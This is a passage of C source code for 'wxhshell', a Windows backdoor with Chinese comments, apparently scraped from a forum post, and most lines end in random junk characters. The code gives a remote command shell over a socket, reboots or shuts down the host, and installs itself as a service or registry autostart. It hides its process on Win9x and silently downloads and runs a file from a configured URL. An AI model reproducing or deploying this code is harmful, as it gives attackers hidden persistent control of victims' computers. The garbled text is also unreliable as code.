  // 帮助 [M;P:@  
  case '?': { z2 dM*NMK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pCC0:  
    break; %3C,jg  
  } >c1mwZS ;  
  // 安装 6l>G>)  
  case 'i': { 4wBCs0NIm  
    if(Install()) `9wz:s QtP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MWB uMF  
    else }$UuYO/i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <4! w2vxG  
    break; @FbzKHdV/  
    } ]T*{M  
  // 卸载 m|-O/6~  
  case 'r': { %ZQl.''ISa  
    if(Uninstall()) 6dinC <[}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qe4  
    else RCmPZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wZOO#&X#r  
    break; 10 p+e_@  
    } |]I?^:I  
  // 显示 wxhshell 所在路径 Ik}*7D  
  case 'p': { O=-|b kO  
    char svExeFile[MAX_PATH]; Mv9s  
    strcpy(svExeFile,"\n\r"); H?aB8=)  
      strcat(svExeFile,ExeFile); O}KT>84M  
        send(wsh,svExeFile,strlen(svExeFile),0); Xz5=fj&  
    break; VyI%^S ]sS  
    } .KB*u*h  
  // 重启 :zZtZT!  
  case 'b': { e~-D k .i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TIvLY5 HG  
    if(Boot(REBOOT)) 6}|vfw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jV7q)\uu^  
    else { r[?rwc^  
    closesocket(wsh); %`}Qkb/Lyh  
    ExitThread(0); wIY#TBu  
    } !W3Le$aL  
    break; -bj1y2)n  
    } D'2O#Rj4q  
  // 关机 Vl'=92t  
  case 'd': { tRXM8't   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); > PYe"  
    if(Boot(SHUTDOWN)) P/ y-K0u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^X_%e|  
    else { W&*{j;e9%I  
    closesocket(wsh); t4JGd)r  
    ExitThread(0); J,q:  
    } $>BP}V33  
    break; qt1# P  
    } qM9GW`CKA  
  // 获取shell f/ =0  
  case 's': { ec3('}X  
    CmdShell(wsh); ):\ pD]e  
    closesocket(wsh); [XQNgSy?z  
    ExitThread(0); )kd)v4#  
    break; =-q)I[4#  
  } =djzE`)0  
  // 退出 {#;6$dU;(  
  case 'x': { cX&c%~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cf j6I  
    CloseIt(wsh); T&S< 0  
    break; .oe,# 1Qh{  
    } +g.WO5A  
  // 离开  c\x?k<=  
  case 'q': { YJ"gm]Pm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r`&ofk1K  
    closesocket(wsh); "7aFVf  
    WSACleanup(); 9u)h$VC  
    exit(1); Og&2,`Jb  
    break; OIoAqt  
        } /qp`xJ  
  } 5(F!* 6i>  
  } .:;i*  
ML'R[~|  
  // 提示信息 6-JnT_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iFHVr'Og'  
} $:xUXEi{  
  } e@q[Dv'mu  
+}1]8:>cq  
  return; ooD/QZUE  
} 77 `/YE#M  
k\%{1oRA  
// shell模块句柄 >?DrC/  
int CmdShell(SOCKET sock) NKMB,b  
{ wHY;Y-(ZT  
STARTUPINFO si; e)iVX<qb  
ZeroMemory(&si,sizeof(si)); u.arkp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OC [a?#R1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t=pG6U  
PROCESS_INFORMATION ProcessInfo; #uH1!UQb  
char cmdline[]="cmd"; HD`%Ma Yhc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *;}!WDr  
  return 0; '}OrFN  
} !sLn;1l  
6F<L4*4U  
// 自身启动模式 : ._O.O  
int StartFromService(void) /R,/hi Kx\  
{ x##Iv|$  
typedef struct ce;9UBkOg2  
{ 7O{\^Jz1  
  DWORD ExitStatus; 8+!$k!=X  
  DWORD PebBaseAddress; ` Y ut 1N  
  DWORD AffinityMask; p"X\]g^jA>  
  DWORD BasePriority; 4dy)g)wM  
  ULONG UniqueProcessId; :wF(([&4p!  
  ULONG InheritedFromUniqueProcessId; }W YY5L8^  
}   PROCESS_BASIC_INFORMATION; X%gJ, c(4  
_I -0[w  
PROCNTQSIP NtQueryInformationProcess; H`".L^  
2.x3^/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l9<+4rK2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `  ^6}Dn  
p]>bN  
  HANDLE             hProcess; d82IEhZ#  
  PROCESS_BASIC_INFORMATION pbi; nyDqR#t  
~{N|("nB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7i'vAOnw^  
  if(NULL == hInst ) return 0; lE`ScYG  
dXOjaS# ~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {6KU.'#iF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5i#B?+Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \myj Y  
N-NwGD{  
  if (!NtQueryInformationProcess) return 0; )HU?7n.{  
~\Ynih  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &B3kzs  
  if(!hProcess) return 0; .f6_[cS;g  
SGbo|Xe7:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3Fr}8Dy  
PffwNj/l  
  CloseHandle(hProcess); K'71uW>  
$4L=Dg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q;Oc# u  
if(hProcess==NULL) return 0; 8ZahpB  
{1qEN_ERx  
HMODULE hMod; YV2^eGr.  
char procName[255]; 3NJ-.c@(p  
unsigned long cbNeeded; ``O\'{o&  
3 $RII -}>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5= F-^  
u}$U|Cw-;T  
  CloseHandle(hProcess); p;B +g X  
jLEU V  
if(strstr(procName,"services")) return 1; // 以服务启动 =N3~2=g~A  
(* 2"dd  
  return 0; // 注册表启动 x~(Ul\EX  
} 8m 9G^s`[  
IMrB!bo r  
// 主模块 'fgDe  
int StartWxhshell(LPSTR lpCmdLine) ]f-e/8$`@  
{ } K Ou  
  SOCKET wsl; WTd}) s  
BOOL val=TRUE; `|v#x@s  
  int port=0; &"CS1P|  
  struct sockaddr_in door; ck^Z,AKL+  
6Z'zB&hM}  
  if(wscfg.ws_autoins) Install(); [Z[)hUXE?  
>,9t<p=Q  
port=atoi(lpCmdLine); 5G2u(hx  
q`{.2yV  
if(port<=0) port=wscfg.ws_port; UjfB+=7I{L  
+6>Pp[%  
  WSADATA data; 1E-$f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `SU;TN0  
AHLDURv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !YoKKG~_0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7eq;dNB@gq  
  door.sin_family = AF_INET; . XY'l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LZ@^ A]U  
  door.sin_port = htons(port); }^iE|YKz  
B 51LZP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { & v`kyc  
closesocket(wsl); v(0vP}[Q7E  
return 1; pLIBNo?  
} eygyVhJ  
ES+&e/G"ds  
  if(listen(wsl,2) == INVALID_SOCKET) { Pgo5&SQb  
closesocket(wsl); PJ_|=bn  
return 1; Vs"M Cqi  
} a:8@:d1T K  
  Wxhshell(wsl); 6s uc0  
  WSACleanup(); jG/kT5S  
InDR\=o  
return 0; N7e^XUG   
?K]k(ZV_+Y  
} xNONf4I:6J  
4C2 D wj  
// 以NT服务方式启动 WH/a#F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ylf6-FbF  
{ hVID~L$  
DWORD   status = 0; 5-g02g  
  DWORD   specificError = 0xfffffff; `ybZE+S.  
iUO5hdOM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l%)XPb2$J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cbIW>IbM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fb*;5VNU.  
  serviceStatus.dwWin32ExitCode     = 0; 2<'gX>TW  
  serviceStatus.dwServiceSpecificExitCode = 0; $X{& KLM[  
  serviceStatus.dwCheckPoint       = 0; [R~HhM  
  serviceStatus.dwWaitHint       = 0; ZWFH5#=  
J d`NS3;*p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *"4ltWS  
  if (hServiceStatusHandle==0) return; 7Jqp2\  
$~j]/U  
status = GetLastError(); [IYs4Y5  
  if (status!=NO_ERROR) HsXFglQ  
{ ''(T3;^ +  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0 Hq$h  
    serviceStatus.dwCheckPoint       = 0; 9 (&!>z  
    serviceStatus.dwWaitHint       = 0; kfHLjr.  
    serviceStatus.dwWin32ExitCode     = status; Oll\T GXP!  
    serviceStatus.dwServiceSpecificExitCode = specificError; VOiphw`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /q^( uWu  
    return; ~:0h o  
  } .=NK^  
I 7TMv.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W}e5 4-lu  
  serviceStatus.dwCheckPoint       = 0; `j2z=5  
  serviceStatus.dwWaitHint       = 0; 6m{3GKaW~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 63~i6  
} ) HmpVH  
}skXh_Vu4  
// 处理NT服务事件,比如:启动、停止 f"-?%I*'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b1^MX).vH  
{ <k)rfv7  
switch(fdwControl) "#OmmU<U  
{ ]l\J"*"aB  
case SERVICE_CONTROL_STOP: 4]g^aaQFd>  
  serviceStatus.dwWin32ExitCode = 0; vz _U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uo%zfi?  
  serviceStatus.dwCheckPoint   = 0; Sz . _XY^  
  serviceStatus.dwWaitHint     = 0; -V+fQGZe  
  { ;<*VwXJR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aH~il!K  
  } vu1:8j  
  return; ':fVb3A[*d  
case SERVICE_CONTROL_PAUSE:  [g/g(RL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H<q:+  
  break; ,JjTzO  
case SERVICE_CONTROL_CONTINUE: J0x)m2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L h0<A%  
  break; 5=$D~>-#  
case SERVICE_CONTROL_INTERROGATE:  /f2*J  
  break; 7<) .luV  
}; QM$?}>:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @U9ov >E  
} m/{rmtA4  
4~ iKo  
// 标准应用程序主函数 V^Nc0r   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "B\qp"N  
{ s5[ Cr"q7B  
)S5Q5"j&=f  
// 获取操作系统版本 U2h?l `nP  
OsIsNt=GetOsVer(); LsmC/+7r$1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YS/DIH{9e  
<?I~ +  
  // 从命令行安装 1M+mH#?  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^,rbA>/L  
1p tPey  
  // 下载执行文件 7y60-6r  
if(wscfg.ws_downexe) { y)=Xo7j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D,R/abYZH  
  WinExec(wscfg.ws_filenam,SW_HIDE); ){,8}(|  
} 0>AA-~=-  
jKtbGVZ 7r  
if(!OsIsNt) { VfQSfNsi  
// 如果时win9x,隐藏进程并且设置为注册表启动 /2YI!U@A  
HideProc(); -dza_{&+iZ  
StartWxhshell(lpCmdLine); b,!h[  
} T+gqu &9R  
else *%MY. #  
  if(StartFromService()) GB{%4)%6  
  // 以服务方式启动 _|#)tWy}  
  StartServiceCtrlDispatcher(DispatchTable); Bt.WRRpAB  
else $V@IRBm  
  // 普通方式启动 DQE.;0ld  
  StartWxhshell(lpCmdLine); -m-~  
h-6kf:XP%  
return 0; ;Neld #%J  
}
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只看该作者 1 发表于: 2006-10-10
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